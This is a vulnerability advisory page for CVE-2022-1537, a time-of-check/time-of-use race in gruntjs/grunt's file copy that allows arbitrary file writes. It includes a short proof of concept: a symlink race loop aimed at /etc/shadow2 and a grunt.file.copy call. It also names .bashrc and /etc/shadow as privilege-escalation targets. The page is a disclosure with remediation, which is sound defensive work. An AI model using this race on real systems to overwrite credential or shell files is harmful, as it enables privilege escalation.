---
title: "CX-2022-5017"
date: "2022-09-12T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5017/"
---

# CX-2022-5017

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

CVE-2022-1537  **Published:** Sep 12, 2022

CWE-367 CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition  7 High Severity arbitrary file javascript node nodejs npm Write

@ @haxatron  Reported by Checkmarx Zero

Details Overview

## Summary

Arbitrary File Write in gruntjs/grunt.

## Product

gruntjs/grunt prior to 1.5.3.

## Impact

This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user’s .bashrc file or replace /etc/shadow file if the GruntJS user is root.

## Steps to reproduce

1. As a lower-privileged user:

    ```mkdir
    mkdir dest
    echo "<overwrite shadow file here>" > src/shadow2
    while true; do ln -s /etc/shadow2 dest/shadow2; done;
    ```
2. Now execute the following PoC:

    ```grunt
    grunt.file.copy("src", "dest")
    ```

### Expected result:

/etc/shadow2 is overwritten

```<overwrite

```

## Remediation

Update gruntjs/grunt to version 1.5.3.

## Credit

This issue was reported by @haxatron through huntr.dev.

## Resources

1. [572d79b](https://github.com/gruntjs/grunt/commit/572d79b08767dd22ecc162b8d41825f9f8238fef)
2. [Advisory](https://github.com/advisories/GHSA-rm36-94g8-835r)
3. [Disclosure](https://huntr.dev/bounties/0179c3e5-bc02-4fc9-8491-a1a319b51b4d/)

0  High Severity CVSS v3.1 Score

   7

CVSS v3.1 Vectors- Attack Vector: Local
- Attack Complexity: High
- Privileges Required: Low
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Disclosed Apr 12, 2022

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)
